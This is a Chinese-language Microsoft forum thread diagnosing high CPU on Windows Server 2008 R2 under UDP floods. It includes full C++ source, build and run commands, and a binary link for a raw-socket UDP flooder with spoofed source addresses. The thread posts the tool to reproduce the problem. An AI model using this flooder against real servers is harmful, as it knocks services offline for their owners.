积极答复者
当基于 Windows Server 2008 R2 服务器 UDP 负载很重时,就会出现 CPU 使用率过高

问题
-
KB上已经发现了这个问题
http://support.microsoft.com/kb/2685007
从中文版本的描述中,复制了如下内容:
症状
请考虑以下情形:
- 具有许多客户机,您有一个服务器正在运行 Windows Server 2008 R2 和进行通信。
- 服务器是用户数据报协议 (UDP) 负载很重。例如,会在服务器和客户端之间的 15000 多个并发连接。
在此方案中,服务器没有响应。此外,您注意到的计算机的 CPU 使用率达到 100%。
----------------------------------------------
事实上,发布的这个补丁根本不起作用。
无论是自己修改注册表,或者安装补丁。
如何验证:
使用RAW协议,模拟UDP发送数据。并且修改每个UDP数据包的来源IP,来源port。
这个功能,已经在windows xp sp2以上的版本中无效了。因此,我们采用了linux来模拟这个效果
使用方法:在linux机器上,对 Windows Server 2008 R2 服务器上任意打开的UDP端口,发送大量伪造的UDP数据。 (每个UDP数据包的来源IP,来源port都不一样)
Windows Server 2008 R2 服务器马上负载很高,高到什么都动不了。
答案
-
我很好奇你说Windows Server 2003上没出现High CPU
你能确认你2003上运行的UDP Server真的收到了所有的包吗?
因为按照这篇KB的讲法,其实是很多包被NDIS丢弃了,因为NDIS Queue DPC的系统线程是以一个低优先级运行的,估计会被抢占掉,所以CPU高不起来的,你给你的2003打上这个补丁看看呢?
Applications that use the UDP protocol may encounter poor performance on a computer that is running Windows Server 2003
http://support.microsoft.com/kb/972071而我感觉08是真的尽心尽责地全收下了,所以DPC Time高起来可能是合理的。。。
- 已建议为答案 Finy 2013年4月27日 3:10
- 已标记为答案 Tom Zhang – MSFTModerator 2013年5月2日 8:46
全部回复
-
KB上已经发现了这个问题
http://support.microsoft.com/kb/2685007
从中文版本的描述中,复制了如下内容:
症状
请考虑以下情形:
- 具有许多客户机,您有一个服务器正在运行 Windows Server 2008 R2 和进行通信。
- 服务器是用户数据报协议 (UDP) 负载很重。例如,会在服务器和客户端之间的 15000 多个并发连接。
在此方案中,服务器没有响应。此外,您注意到的计算机的 CPU 使用率达到 100%。
----------------------------------------------
事实上,发布的这个补丁根本不起作用。
无论是自己修改注册表,或者安装补丁。
如何验证:
使用RAW协议,模拟UDP发送数据。并且修改每个UDP数据包的来源IP,来源port。
这个功能,已经在windows xp sp2以上的版本中无效了。因此,我们采用了linux来模拟这个效果
使用方法:在linux机器上,对 Windows Server 2008 R2 服务器上任意打开的UDP端口,发送大量伪造的UDP数据。 (每个UDP数据包的来源IP,来源port都不一样)
Windows Server 2008 R2 服务器马上负载很高,高到什么都动不了。
去年同期,也有人提出了这个问题,你们没有人回复
-
嗯,既然是红色的内核线,那就是Kernel Time。
那么,%Interrupt Time 和 %DPC Time 分别占据 %Privileged Time 的多少?
如果你能提供详细的测试工具和步骤,那可以Share出来,我也比较感兴趣看一下这个问题。- 已编辑 Finy 2013年4月24日 3:34
- 已标记为答案 Tom Zhang – MSFTModerator 2013年5月2日 8:45
- 取消答案标记 Tom Zhang – MSFTModerator 2013年5月2日 8:46
-
嗯,既然是红色的内核线,那就是Kernel Time。
那么,%Interrupt Time 和 %DPC Time 分别占据 %Privileged Time 的多少?
如果你能提供详细的测试工具和步骤,那可以Share出来,我也比较感兴趣看一下这个问题。1.准备一台windows 2008 R2,准备一台cent os
2.在centos 上面,编译下面的代码,然后运行
编译说明:
g++ main.cpp CUDP.cpp -o rawsend
运行的参数,指向 windows 20008 R2 开放的任意UDP端口
./rawsend yourWinip yourWinPort
//////////////////////////////////////////////////////////
// filename
// main.cpp
#include "CUDP.h"
#include <string>
#include <sys/types.h>
#include <sys/socket.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
long int mySendto(
int __fd,
const char * __buf,
long int __n,
int __flags,
const char * pDestIp,
unsigned short nDestPort,
const char * pSourceIp,
unsigned short nSourcePort
);
int main(int argc, char* argv[])
{
if ( argc < 3 )
{
printf("xxxxx.exe ip port");
return 0;
}
std::string sendcontend = "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa";
unsigned long startip = htonl( 1) ; //inet_addr("128.0.0.1");
struct in_addr ip;
for (int i = 0 ; i < 100000000 ; i ++)
{
ip.s_addr = startip + i;
std::string fakeip = inet_ntoa(ip);
int Socket = socket(PF_INET, SOCK_RAW, IPPROTO_UDP);
mySendto(Socket, sendcontend.c_str(),(long)sendcontend.length(),0,argv[1],atoi(argv[2]),fakeip.c_str(), (i%64000) + 1000 );
close(Socket);
if((i%10000) == 0 )
printf("send:%d\n",i);
}
return 0;
}
//////////////////////////////////////////////////////////////
/////////////////////////////////////////////////////////
// filename:
// CUDP.cpp
#include "CUDP.h"
unsigned short checksum(
unsigned short * buff,
int size
)
{
unsigned long cksum = 0;
while (size > 1)
{
cksum += *buff++;
size -= sizeof (unsigned short);
}
if (size)
{
cksum += *(unsigned char*) buff;
}
cksum = (cksum >> 16) + (cksum & 0xffff);
cksum += (cksum >> 16);
return (unsigned short) (~cksum);
}
void ComputeUdpPseudoHeaderChecksum(
struct iphdr * pIphdr,
struct udphdr *pUdphdr,
const char *payload,
int payloadlen
)
{
char buff[BUFF_SIZE];
char *ptr = buff;
unsigned long zero = 0;
int chksumlen = 0;
// Include the source and destination IP addresses
memcpy(ptr, &pIphdr->saddr, sizeof (pIphdr->saddr));
ptr += sizeof (pIphdr->saddr);
chksumlen += sizeof (pIphdr->saddr);
memcpy(ptr, &pIphdr->daddr, sizeof (pIphdr->daddr));
ptr += sizeof (pIphdr->daddr);
chksumlen += sizeof (pIphdr->daddr);
// Include the 8 bit zero field
memcpy(ptr, &zero, 1);
ptr += 1;
chksumlen += 1;
// Protocol
memcpy(ptr, &pIphdr->protocol, sizeof (pIphdr->protocol));
ptr += sizeof (pIphdr->protocol);
chksumlen += sizeof (pIphdr->protocol);
// UDP length
memcpy(ptr, &pUdphdr->len, sizeof (pUdphdr->len));
ptr += sizeof (pUdphdr->len);
chksumlen += sizeof (pUdphdr->len);
// UDP source port
memcpy(ptr, &pUdphdr->source, sizeof (pUdphdr->source));
ptr += sizeof (pUdphdr->source);
chksumlen += sizeof (pUdphdr->source);
// UDP destination port
memcpy(ptr, &pUdphdr->dest, sizeof (pUdphdr->dest));
ptr += sizeof (pUdphdr->dest);
chksumlen += sizeof (pUdphdr->dest);
// UDP length again
memcpy(ptr, &pUdphdr->len, sizeof (pUdphdr->len));
ptr += sizeof (pUdphdr->len);
chksumlen += sizeof (pUdphdr->len);
// 16-bit UDP checksum, zero
memcpy(ptr, &zero, sizeof (unsigned short));
ptr += sizeof (unsigned short);
chksumlen += sizeof (unsigned short);
// payload
memcpy(ptr, payload, payloadlen);
ptr += payloadlen;
chksumlen += payloadlen;
// pad to next 16-bit boundary
for (int i = 0; i < payloadlen % 2; i++)
{
*ptr = 0;
ptr++;
chksumlen++;
}
// Compute the checksum and put it in the UDP header
pUdphdr->check = checksum((unsigned short*) buff, chksumlen);
}
long int mySendto(
int __fd,
const char * __buf,
long int __n,
int __flags,
const char * pDestIp,
unsigned short nDestPort,
const char * pSourceIp,
unsigned short nSourcePort)
{
long int ret = 0;
int o = 1;
if (setsockopt(__fd, IPPROTO_IP, IP_HDRINCL, &o, sizeof (o)) == -1)
{
return -1;
}
unsigned char buffer[BUFF_SIZE];
memset(buffer, 0, BUFF_SIZE);
struct iphdr *ip = (struct iphdr *) buffer;
struct udphdr *udp = (struct udphdr *) (buffer + sizeof (struct iphdr));
ip->version = 4;
ip->ihl = sizeof(struct iphdr) >> 2;
ip->tos = 0;
ip->id = htonl(random());
ip->frag_off = 0;
ip->saddr = inet_addr(pSourceIp);
ip->daddr = inet_addr(pDestIp);
ip->ttl = MAXTTL;
ip->protocol = IPPROTO_UDP;
ip->tot_len = htons(sizeof (struct iphdr) + sizeof (struct udphdr) +__n);
ip->check = checksum((unsigned short*)ip, sizeof(struct iphdr));
udp->source = htons(nSourcePort);
udp->dest = htons(nDestPort);
udp->len = htons(sizeof (struct udphdr) +__n);
udp->check = 0;
memcpy(buffer + sizeof (struct iphdr) + sizeof (struct udphdr), __buf, __n);
ComputeUdpPseudoHeaderChecksum(ip, udp, __buf, __n);
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = udp->dest;
addr.sin_addr.s_addr = ip->daddr;
if ((ret = sendto(__fd, buffer, sizeof (struct iphdr) + sizeof (struct udphdr) + __n, __flags, (struct sockaddr*) &addr, sizeof (struct sockaddr_in))) == -1)
{
return -1;
}
return ret;
}
//////////////////////////////////////////////////////////////
// filename:
// CUDP.h
#ifndef CUDP_H
#define CUDP_H
#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <unistd.h>
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <sys/socket.h>
#include <netinet/in.h>
#include <arpa/inet.h>
#define BUFF_SIZE 1024
unsigned short checksum(
unsigned short * buff,
int size
);
void ComputeUdpPseudoHeaderChecksum(
struct iphdr * pIphdr,
struct udphdr *pUdphdr,
char *payload,
int payloadlen
);
long int mySendto(
int __fd,
const char * __buf,
long int __n,
int __flags,
const char * pDestIp,
unsigned short nDestPort,
const char * pSourceIp,
unsigned short nSourcePort
);
#endif
//////////////////////////////////
-
任意centos 版本
如果有centos 运行环境,编译环境也没有问题。
单线程,死循环发送数据。发送速度依赖于网络速度。一般局域网,带宽不满的情况下,每秒5W左右。
windows server 2003,或者任意版本linux处理每秒5W UDP那是相当的轻松。
我在skydirve上放了一份编译好的:
http://sdrv.ms/10B8AJa
编译以及运行环境:
LSB Version: :core-4.0-amd64:core-4.0-ia32:core-4.0-noarch:graphics-4.0-amd64:graphics-4.0-ia32:graphics-4.0-noarch:printing-4.0-amd64:printing-4.0-ia32:printing-4.0-noarch
Distributor ID: CentOS
Description: CentOS release 5.7 (Final)
Release: 5.7
Codename: Final
---------------------------------------------------
g++ (GCC) 4.1.2 20080704 (Red Hat 4.1.2-54)
Copyright (C) 2006 Free Software Foundation, Inc.- 已编辑 忽悠大 2013年4月25日 2:39
-
然后我注意到一个现象:当你打得目的端口(Server端Listen着)不同时,High CPU的现象会有明显差异。
例如:假如你打Windows Server 2008 R2的UDP 4500(应该是svchost进程监听着的),CPU根本不会高
但是,假如你打时间服务的123或SNMP的161,则CPU是会高出来。
所以,这个问题,海不能一律简单归结为操作系统处理UDP包性能的问题,应该还跟上层负责接收Packets Data的App写法有关。
请问一下,你打Windows 2003时,打的是什么端口?上层是什么App?打Windows 2008时打的又是什么?
- 已编辑 Finy 2013年4月25日 4:50
-
App的写法就是 socket一个udp,然后bind,然后开线程recvfrom
所有参数都是默认的
研究发现,不运行recvfrom也挂掉.
形如下面的C++/C代码:
m_socket = socket(AF_INET, SOCK_DGRAM, IPPROTO_UDP);
if ( m_socket )
{
m_RecvAddr.sin_family = AF_INET;
m_RecvAddr.sin_port = htons( ListenAddr.GetPort() );
m_RecvAddr.sin_addr.s_addr = htonl(INADDR_ANY);
return bind(m_socket, (SOCKADDR *) &m_RecvAddr, sizeof(m_RecvAddr)) == 0;}
-------------------------
根据你的提示,有些UDP端口不受这个影响。
找到了 SQL SERVCER的 1434端口。
为了看这个 sqlbrowser.exe 的写法有什么花样,特意逆向了以下这个东东。发现有 sqlbrowser.exe -c的启动参数。用参数模式启动后,没有这个神奇的效果了。可见 sqlbrowser.exe的写法也不会有特别之处
4500端口是svchost启动的,没有好的办法查看运行的代码
-
我很好奇你说Windows Server 2003上没出现High CPU
你能确认你2003上运行的UDP Server真的收到了所有的包吗?
因为按照这篇KB的讲法,其实是很多包被NDIS丢弃了,因为NDIS Queue DPC的系统线程是以一个低优先级运行的,估计会被抢占掉,所以CPU高不起来的,你给你的2003打上这个补丁看看呢?
Applications that use the UDP protocol may encounter poor performance on a computer that is running Windows Server 2003
http://support.microsoft.com/kb/972071而我感觉08是真的尽心尽责地全收下了,所以DPC Time高起来可能是合理的。。。
- 已建议为答案 Finy 2013年4月27日 3:10
- 已标记为答案 Tom Zhang – MSFTModerator 2013年5月2日 8:46
-
你可以对比一下你的2003跟2008在分别被UDP Flood时的perfmon计数器UDPv4/Datagrams Received Errors
如果你的2003这个值在涨,而2008却不涨,那么应该就论证了我前面说的“08是真的尽心尽责地全收下了”,而03则实际是丢弃了很多
我实测是这样的。
并且,更新一下2008上xperf后带Symbol的分析,可以看到CPU都耗在ndisInterruptDpc。在这1万7千多次对此函数的调用中,平均每次调用时间是0.959ms,
且里面确实大部分次数(大概1.4万次)都在1ms甚至更快地完成,1300次在2ms以上,特别的是有近200次是在10ms以上!这就是CPU Hign起来的关键,但这里是为什么,暂时不可知晓。。。
Total = 17325 for module NDIS.SYS
Elapsed Time, > 0 usecs AND <= 1 usecs, 130, or 0.75%
Elapsed Time, > 1 usecs AND <= 2 usecs, 43, or 0.25%
Elapsed Time, > 2 usecs AND <= 4 usecs, 54, or 0.31%
Elapsed Time, > 4 usecs AND <= 8 usecs, 50, or 0.29%
Elapsed Time, > 8 usecs AND <= 16 usecs, 388, or 2.24%
Elapsed Time, > 16 usecs AND <= 32 usecs, 1425, or 8.23%
Elapsed Time, > 32 usecs AND <= 64 usecs, 396, or 2.29%
Elapsed Time, > 64 usecs AND <= 128 usecs, 386, or 2.23%
Elapsed Time, > 128 usecs AND <= 256 usecs, 3139, or 18.12%
Elapsed Time, > 256 usecs AND <= 512 usecs, 4506, or 26.01%
Elapsed Time, > 512 usecs AND <= 1024 usecs, 3804, or 21.96%
Elapsed Time, > 1024 usecs AND <= 2048 usecs, 1731, or 9.99%
Elapsed Time, > 2048 usecs AND <= 4096 usecs, 912, or 5.26%
Elapsed Time, > 4096 usecs AND <= 8192 usecs, 164, or 0.95%
Elapsed Time, > 8192 usecs AND <= 16384 usecs, 68, or 0.39%
Elapsed Time, > 16384 usecs AND <= 32768 usecs, 32, or 0.18%
Elapsed Time, > 32768 usecs AND <= 65536 usecs, 97, or 0.56%
Total, 17325- 已编辑 Finy 2013年4月27日 7:34
-
我也对比了多个操作系统:
windows 7,windows 2008 R2,centos 都有高cpu这个效果
windows 2003,windows xp 如你所说,压力很大的时候,丢包多一些。这里,压力大的定义略有不一样,可能每秒 3W,6W,12W。确实随着压力大,丢包率变大。
但是cpu不会高。
当然,对丢包的期望也不一样,比如我们在生产环境上希望每秒3W次业务,整体丢包(包括网络线路原因引起的)不高于1%。
windows 8也尝试了以下,效果很特别,cpu不会高,操作系统能收下,但是应用程序没有响应到。几秒后关了重开应用程序,居然响应到了。可能是堆积在交换机上,也可能堆积到操作系统接收缓冲区。这个没有仔细研究
---------------------
另外,对 NDIS 简单研究了以下,上面各个windows系统,都采用了能更新到的最新NDIS版本,效果没有发生明显变化,或者说我希望的明显变化,和你定义的不一样。
----------------
总的来说,对centos的表现,犯了错误,没有亲自测试,就表示centos 怎么好怎么不好